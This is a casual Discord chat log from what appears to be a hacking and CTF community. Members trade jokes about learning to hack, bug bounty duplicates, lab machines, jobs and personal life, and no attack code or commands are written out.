https://cdn.discordapp.com/attachments/858015991467737128/1471817785549262858/Screenshot_2026-02-13_at_4.08.19_PM.png?ex=699050a1&is=698eff21&hm=8a2fc82b2d3dcaffd2246d13bfdde6f49ade003fa6f42bfaf5d90ecfc1159c73&

On PR 💀
When it's PR got rejected

[warm ravine]

@supple plume I do wonder when did you start hacking things

Curious

[west venture]

And my degree in software engineering didn't do me shit lol

"get a degree"

[devout sail]

Less than 6mo

He's still wet behind his ears

[warm ravine]

Oh damn

That's.. interesting

[devout sail]

High IQ privilege he got

And the experience from his career ig

[cerulean bloom]

he's crazy in web

[devout sail]

He sniffs code

[warm ravine]

Well since I'm a high schooler, It may take more than 6 months for me to master hacking

[cerulean bloom]

vibe coded python rev shell

[cerulean bloom]

no one can master hacking

[devout sail]

No one here would say they mastered it 💀

[warm ravine]

I mean

Learn it

[devout sail]

Maybe kraton would in a few weeks

[warm ravine]

Like

[cerulean bloom]

you keep learning

you never stop

in this field

[warm ravine]

[devout sail]

well u can say you hacked
Just by running a line from GTFObin

What was the next machine again@cerulean bloom

Easy linux?

[warm ravine]

I used to give up when I was young

I hated doing mistakes cuz I was too scared to make one

Old things

[devout sail]

make miskates, no one is gonna yell at you in labs

[cerulean bloom]

yep, easy linux

[sharp beacon]

make mistakes in prod too

[devout sail]

Yeah do this@warm ravine next machine then

[sharp beacon]

people will care but you'll still learn

[devout sail]

what prod he's a student 💀

[warm ravine]

High schooler duh

[sharp beacon]

sometimes the better mousetraps are bc of mistakes on the best ones ;p

[warm ravine]

11th grade

[devout sail]

Still a regular student

[west venture]

You can say you hacked by running a random script or binary off discord, which, yes, hacks other computers for you, but also hacks yours in the process ( I've literally seen these multiple times)

[warm ravine]

Script Kiddie things?

[west venture]

Skids run them to feel MrRobot

[devout sail]

Maybe don't scan random QR with discord app

[sharp beacon]

i have to make a video of a prawl script for a contest

[devout sail]

And any malicious file sent on discord will automatically turn into food recipe

[sharp beacon]

i'm a reddit moderator now does hack the box have any fedoras for prizes

i need my 1st one

[supple plume]

I reported an open redirect vuln in a bug bounty like 5 years ago. They marked it as a duplicates and never gave any kind of feedback, broke my heart so bad that I forgot about hacking until I got bored of making buttons look better

6 months ago

[zealous charm]

Dupe is still a valid bug 💯

[devout sail]

Don't y'all have random ahh js library fot that

[warm ravine]

I mean, when did you learned the basics

[devout sail]

Buttons which uses 95% of resources are best

[warm ravine]

Like the times I'm currently struggling with

[devout sail]

What did u do today?

Learn anything? Other than asking questions?

[supple plume]

Dupe + lack of feedback back in the day felt like slap on my face. I would celebrate it nowadays tho

[supple plume]

The basics... idk what is the basics

[devout sail]

Slap on face??

Stop playing chess with chronos, you becoming weirdo too

[west venture]

Fr why are websites so ass these days with fancy animations and all that that takes minutes to load

[supple plume]

Learn chess so you get bitchess

[west venture]

Worst advice ever

[devout sail]

@native plume 💀

[warm ravine]

Like.. ugh.. How can I tell you this then

[supple plume]

I know

[devout sail]

Ikr, imagine playing boring game

[supple plume]

Try using English

[devout sail]

Spanish works too?

[supple plume]

Yeah and also catalan

[devout sail]

No japanese

[supple plume]

Maybe french too

[warm ravine]

I mean, you got a point
I learned English with.. playing games

[west venture]

Your chess elo is inversely proportional to the chances of you getting laid.

[devout sail]

Fr🤮nch

[warm ravine]

I'm a turkish man yknow

[supple plume]

Gaddayum

That says a lot

[west venture]

Ye

[supple plume]

I know

[devout sail]

What's that guy name

The one who left our team

And came back with different account

[supple plume]

What who left

[devout sail]

Uhh holmes?

[supple plume]

Mr holmes

Yes

[devout sail]

Yeah his new name

[forest trout]

Whoami /all

[supple plume]

Deez nut @lofty marsh

[devout sail]

No cube talk for you 💀
#📣-announcements message

[supple plume]

@lofty marsh you're not leaving this server

Why don't they ask for cool people to interview in the cube talks like cloud or homebrewer

[devout sail]

Suggest?

[supple plume]

Ehem they lack of yappers

[devout sail]

.../feedback

[supple plume]

@lime trout

Hmm

[cerulean bloom]

or, you know, me

as a guest speaker

for g0blin

[devout sail]

Or cyberchronos

[supple plume]

Goblin would be good to listen what does he has to say

[cerulean bloom]

Anyway, finished my challenge

in 2 days

[devout sail]

Instant ban from Spotify

I might try eloquia for a bit tonight

It's windows and i forgot i had that pending

[upbeat tangle]

crazy person

[cerulean bloom]

story: how I accidently banned echoes

[supple plume]

I would like to try too

[devout sail]

I just wanna test my shit

[supple plume]

What shit tho

[devout sail]

If you didn't delete the general

You'd know

[supple plume]

I would nuke this general too if I could

[split needle]

😄

[cerulean bloom]

lol

[supple plume]

[devout sail]

not allowed

[devout sail]

Get a profile picture

The default one sucks

[cerulean bloom]

good thing I changed mine

[supple plume]

Bro this person just joined give them a chance

[split needle]

yeah I specifically chose that it illustrates me quite good

[supple plume]

I like yours a lot

[split needle]

oh I've been around for a while

[supple plume]

It looks good with these decorations

[split needle]

been in such channels since irc era

[devout sail]

Use this

[cerulean bloom]

yep

[devout sail]

You can pick default pfp??

I thought it was randomised

[cerulean bloom]

https://tenor.com/view/dumb-and-dumber-jim-carrey-duh-uh-yeah-lloyd-christmas-gif-7940001541646448846

[split needle]

guess so, I did it probably 10 years ago...

[devout sail]

Account was created 2 year ago 😢

[split needle]

maybe exaggerated a bit there 😄

[devout sail]

2y 8d 😁

[split needle]

not the most active on chats anymore unfortunately

[devout sail]

Yeah less yapping more hacking is better

[supple plume]

No, that is a good thing actually

[cerulean bloom]

shush
thats how I can get like 5 refferals

[split needle]

it's good to talk to real people from time to time though lot's of stuff to talk about now

[devout sail]

What is the reward

[cerulean bloom]

a job

[split needle]

work

😄

[devout sail]

Hehe 5 alt me and joining htb

6 paychecks for 1 person work

[cerulean bloom]

LOL

not how it works

but okay lol

[devout sail]

I'll put twice the effort

For half the result

[split needle]

always has been like this with remote work people seem to be surprised by this... it has been around since the 00s

[devout sail]

Nowadays it's ½ paycheck for 6 person work

Hmm i rember something bad

Gotta migrate one of my server to new discord bot

Lot of painful awk

[split needle]

software is dead

[devout sail]

Got any job at oil rig??

I heard they pay u good

[split needle]

soon we'll all go in the fields and plant and harvest

[devout sail]

• night scenery is worth dying for

https://tenor.com/view/oil-rig-sludge-muddy-machinery-oilfeildoutlaw-gif-3807660250729990391

[split needle]

yeah I'd be without limbs in 2 hours tops

[devout sail]

Same

Less than 10m

I would definitely touch moving parts

[split needle]

once 😄

https://tenor.com/view/magic-finger-gif-18544092

[devout sail]

I'm glad i left my previous job as CNC operator 💀

[thick forge]

today

is

[devout sail]

https://tenor.com/view/magic-finger-gif-18544092

[thick forge]

hacking

dayyyy

[devout sail]

When going to meet her then

[thick forge]

her who

[devout sail]

Idk it's velantine or something

[split needle]

it's tomorrow

[devout sail]

Your wife or something

[thick forge]

ohh a girl

[devout sail]

Yes

[thick forge]

who needs wife if i can hack things

[devout sail]

Fair enough

[thick forge]

girls dont gonna make me money

[devout sail]

[thick forge]

🤣

❤️

[devout sail]

Have this

[devout sail]

[split needle]

read Epstein files, there are few hints there 😉

[devout sail]

Boring stuff

[split needle]

some real nice theories there though... like the 2008 crash

imagine if that shit is real

[devout sail]

Oh i see random snippets from X

But well, all i understand is no one gonna get any punishment

[split needle]

I would imagine someone has already trained a bot on the files

probably would be easier to ask it

[devout sail]

Kypanz hack fbi

[sturdy thistle]

kypanz is FBI

[devout sail]

Hack their blueberry phones

[devout sail]

Oh no

[split needle]

some people are resigning in this job market... you can consider that as some form of punishment

[split needle]

Don't tell them you know

[thick forge]

hacking you right now

[devout sail]

Do not delete my memes

[thick forge]

🤣 ❤️

[sturdy thistle]

hack the account but dont delete memes